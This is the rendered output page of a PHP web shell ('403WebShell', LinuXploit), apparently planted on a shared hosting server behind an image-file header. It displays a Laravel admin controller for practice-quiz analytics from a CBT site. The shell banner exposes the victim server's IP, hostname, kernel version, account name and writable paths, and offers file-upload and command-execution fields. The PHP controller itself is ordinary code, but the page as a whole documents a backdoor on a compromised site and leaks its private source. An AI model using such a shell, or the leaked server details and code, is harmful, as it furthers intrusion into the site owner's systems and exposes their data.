����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.147.45.232
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/cbt.gltechlimited.com/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/cbt.gltechlimited.com/app/Http/Controllers/Admin/PracticeAnalyticsController.php
<?php

namespace App\Http\Controllers\Admin;

use App\Exports\PracticeSessionsExport;
use App\Http\Controllers\Controller;
use App\Models\PracticeSession;
use App\Models\PracticeSet;
use App\Repositories\PracticeSetRepository;
use App\Repositories\UserPracticeSetRepository;
use App\Settings\LocalizationSettings;
use App\Settings\SiteSettings;
use App\Transformers\Admin\PracticeSessionExportTransformer;
use App\Transformers\Admin\UserPracticeSessionTransformer;
use App\Transformers\Platform\PracticeSolutionTransformer;
use Carbon\Carbon;
use Illuminate\Support\Facades\DB;
use Inertia\Inertia;
use Maatwebsite\Excel\Facades\Excel;

class PracticeAnalyticsController extends Controller
{
    /**
     * @var PracticeSetRepository
     */
    private PracticeSetRepository $repository;

    public function __construct(PracticeSetRepository $repository)
    {
        $this->middleware(['role:admin|instructor']);
        $this->repository = $repository;
    }

    /**
     * Get Quiz Overall Report with statistics from sessions
     *
     * @param PracticeSet $practiceSet
     * @return \Inertia\Response
     */
    public function overallReport(PracticeSet $practiceSet)
    {
        $stats = $this->repository->getPracticeSessionStats($practiceSet->id);

        return Inertia::render('Admin/PracticeSet/OverallReport', [
            'practiceSet' => $practiceSet->only('id', 'code', 'title', 'slug'),
            'stats' => [
                'total_attempts' => $stats[0]->total_attempts,
                'unique_test_takers' => $stats[0]->unique_test_takers,
                'avg_time' => formattedSeconds(round($stats[0]->avg_time, 0)),
                'avg_score' => round($stats[0]->avg_score, 1),
                'high_score' => round($stats[0]->high_score, 1),
                'low_score' => round($stats[0]->low_score, 1),
                'avg_accuracy' => round($stats[0]->avg_accuracy, 0)."%",
                'avg_speed' => round($stats[0]->avg_speed, 0)." que/hr",
            ],
        ]);
    }

    /**
     * Get Quiz Detailed Report with user sessions
     *
     * @param PracticeSet $practiceSet
     * @return \Inertia\Response
     */
    public function detailedReport(PracticeSet $practiceSet)
    {
        $sessions = PracticeSession::with('user:id,first_name,last_name,email')
            ->where('practice_set_id', '=', $practiceSet->id)
            ->where('status', '=', 'completed')
            ->orderBy('completed_at', 'desc')
            ->paginate(request()->perPage != null ? request()->perPage : 20);

        return Inertia::render('Admin/PracticeSet/DetailedReport', [
            'practiceSet' => $practiceSet->only('id', 'code', 'title', 'slug'),
            'practiceSessions' => fractal($sessions, new UserPracticeSessionTransformer())->toArray(),
        ]);
    }

    /**
     * Export Quiz Report in Excel
     *
     * @param PracticeSet $practiceSet
     * @param LocalizationSettings $localization
     * @param SiteSettings $settings
     * @return \Illuminate\Http\RedirectResponse|\Symfony\Component\HttpFoundation\BinaryFileResponse
     * @throws \PhpOffice\PhpSpreadsheet\Exception
     * @throws \PhpOffice\PhpSpreadsheet\Writer\Exception
     */
    public function exportReport(PracticeSet $practiceSet, LocalizationSettings $localization, SiteSettings $settings)
    {
        $now = Carbon::now()->timezone($localization->default_timezone);
        $user = auth()->user();
        $footer = "Generated by {$user->first_name} {$user->last_name} on {$now->toDayDateTimeString()}";
        $title = "{$practiceSet->title} - Detailed Report, {$settings->app_name}";

        $stats = $this->repository->getPracticeSessionStats($practiceSet->id);
        $sessions = fractal(PracticeSession::with('user:id,first_name,last_name,email')
            ->where('practice_set_id', '=', $practiceSet->id)
            ->where('status', '=', 'completed')
            ->orderBy('completed_at', 'desc')
            ->get(), new PracticeSessionExportTransformer())->toArray()['data'];

        if(count($sessions) == 0) {
            return redirect()->back()->with('errorMessage', __('Nothing to export.'));
        }

        return Excel::download(new PracticeSessionsExport($stats[0], $sessions, $title, $footer), "practice-detailed-report-{$now->timestamp}.xlsx");
    }

    /**
     * Practice Session Analysis and Progress Status
     *
     * @param PracticeSet $practiceSet
     * @param $session
     * @param UserPracticeSetRepository $repository
     * @return \Inertia\Response
     */
    public function analysis(PracticeSet $practiceSet, $session, UserPracticeSetRepository $repository)
    {
        $session = PracticeSession::with('questions', 'user:id,first_name,last_name,email')->where('code', $session)->firstOrFail();

        return Inertia::render('Admin/PracticeSet/PracticeAnalysis', [
            'practiceSet' => $practiceSet->only('code', 'title', 'slug', 'total_questions'),
            'session' => fractal($session, new UserPracticeSessionTransformer())->toArray()['data'],
            'analytics' => $session->status == 'completed' ? $session->results : $repository->sessionAnalytics($session, $practiceSet->total_questions)
        ]);
    }

    /**
     * Get Practice Session solutions api endpoint
     *
     * @param PracticeSet $practiceSet
     * @param $session
     * @return \Illuminate\Http\JsonResponse
     */
    public function solutions(PracticeSet $practiceSet, $session)
    {
        $session = PracticeSession::with('questions')->where('code', $session)->firstOrFail();

        $questions = fractal($session->questions()->with(['questionType:id,name,code', 'skill:id,name'])
            ->get(['id','code', 'question', 'question_type_id', 'skill_id', 'solution', 'solution_video']),
            new PracticeSolutionTransformer())->toArray();

        return response()->json([
            'questions' => $questions['data'],
        ], 200);
    }

    /**
     * Delete User Practice Session
     *
     * @param PracticeSet $practiceSet
     * @param $session
     * @return \Illuminate\Http\RedirectResponse
     */
    public function deleteSession(PracticeSet $practiceSet, $session)
    {
        $session = PracticeSession::where('code', $session)->firstOrFail();

        try {
            DB::transaction(function () use ($session) {
                $session->questions()->detach();
                $session->forceDelete();
            });
        }
        catch (\Illuminate\Database\QueryException $e){
            return redirect()->back()->with('errorMessage', 'Something went wrong! Unable to delete practice session. Please try again later.');
        }
        return redirect()->back()->with('successMessage', 'Practice session was successfully deleted!');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit